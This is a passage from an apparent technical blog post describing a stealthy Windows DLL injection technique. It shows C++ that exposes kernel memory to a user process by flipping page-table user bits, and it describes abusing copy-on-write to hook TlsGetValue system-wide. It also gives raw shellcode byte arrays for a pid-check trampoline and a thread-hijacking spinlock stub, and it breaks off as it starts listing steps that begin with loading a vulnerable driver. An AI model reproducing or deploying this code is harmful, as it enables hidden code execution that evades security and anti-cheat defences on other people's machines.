&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Mc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IterPhysRegion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Memory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Va&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Pa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIZE_T&lt;/span&gt; &lt;span class="n"&gt;Sz&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;Info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Mc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;QueryPageTableInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Va&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pml4e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pdpte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pde&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pde&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pte&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Success&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pte&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Mc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Detach&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Success&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Memory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AllocateKernelMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ExposeKernelMemoryToProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Controller&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Memory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CurrentEProcess&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ZeroMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Memory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voila, now we have our super-secret page. (I am using &lt;a href="https://github.com/can1357/physical_mem_controller"&gt;a wrapper I made for physical memory access&lt;/a&gt; before so if you want to see how the linear translation or the resolving of page table entries are implemented you can check that out.)&lt;/p&gt;
&lt;h2 id="0x2-abusing-copy-on-write"&gt;&lt;span class="hx"&gt;0x2:&lt;/span&gt; Abusing Copy-on-Write&lt;/h2&gt;
&lt;p&gt;Now that we are done with hiding the memory, all that is left to do is actually execute it and to do that we will be abusing Copy-on-Write this time.&lt;/p&gt;
&lt;p&gt;CoW is a technique used by operating systems to save memory by making &lt;strong&gt;processes share certain physical memory regions until they actually get edited&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We know that ntdll.dll gets loaded for every process and its code (.text) region is rarely modified if at all, so why allocate physical memory for it again and again for hundreds of processes? That is exactly why modern operating systems use the technique called CoW.&lt;/p&gt;
&lt;p&gt;The implementation is very simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When a PE file gets mapped, if it was mapped to some other process too and its VA is free on the current process as well, simply copy the PFN and set the flag to make it read-only.&lt;/li&gt;
&lt;li&gt;When a PageFault occurs due to an instruction trying to write on the page, allocate new physical memory, set the PFN of the PTE and remove the read-only flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This means that when &lt;strong&gt;we hook the DLL by using physical memory we actually end up creating a system-wide hook&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;How can we hijack a thread with this?&lt;/p&gt;
&lt;p&gt;Well, let&amp;rsquo;s pick a commonly called function and hook it: TlsGetValue.&lt;/p&gt;
&lt;p&gt;Now, the PML4E changes from process to process so the kernel memory we exposed are not accessible from all processes, so we need to find a padding in KERNEL32.dll to check for the pid before we just jump to our stub in our lovely kernel page.&lt;/p&gt;
&lt;p&gt;The pid check will be very simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PidBasedHook&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rax, gs:[0x30]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x8B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov eax,[rax+0x40] ; pid
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x3D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// cmp eax, TargetPid
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x85&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// jne 0xAABBCC
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rax, KernelMemory
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE0&lt;/span&gt; &lt;span class="c1"&gt;// jmp rax
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As PE regions are always 0x1000 aligned, finding a 35-byte padding will be a piece of cake, as long as we look for 0x00 (page padding) and not 0xCC/0x90 (intra-function padding).&lt;/p&gt;
&lt;p&gt;In the execution stub, we will have to do some tricks as well. We only want one thread to execute our code, we want to unhook TlsGetValue before we continue execution and I noticed that sometimes the changes in physical memory didn&amp;rsquo;t instantly have an effect on instructions executed and we want to make sure they are applied, so we will implement three checks at the beginning of the stub.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Prologue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// lock inc byte ptr [rip-n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// wait_lock:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// cmp byte ptr [rip-m], 0x0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xF3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// pause
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x74&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// je wait_lock
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// mov rax, 0xAABBCCDDEEAA
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// data_sync_lock:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// prefetchw [rax]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// cmp dword ptr[rax], 0xAABBCCDD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xF3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// pause
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// jne data_sync_lock
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// lock dec byte ptr [rip-n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// jnz continue_exec
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// --- start executing DllMain ---
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first spinlock, wait_lock is to make sure the threads entering this stub stall execution until we let it continue from our injector. The second spinlock, data_sync_lock is to make sure the old TlsGetValue data is written back before continuing execution. The final atomic instruction, lock dec, is the complementary part for the lock inc at the beginning of the stub; lock inc stored the amount of threads waiting in the spinlock, and the lock dec atomically decrements this count; as it does that if the value hits zero zero-flag is set and as this operation is atomic this is done only once so we check the zero-flag to decide whether we execute DllMain or continue execution.&lt;/p&gt;
&lt;p&gt;Now that we have all tricks set-up, the implementation of the actual injector is very simple:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Load vulnerable driver&lt;/li&gt;
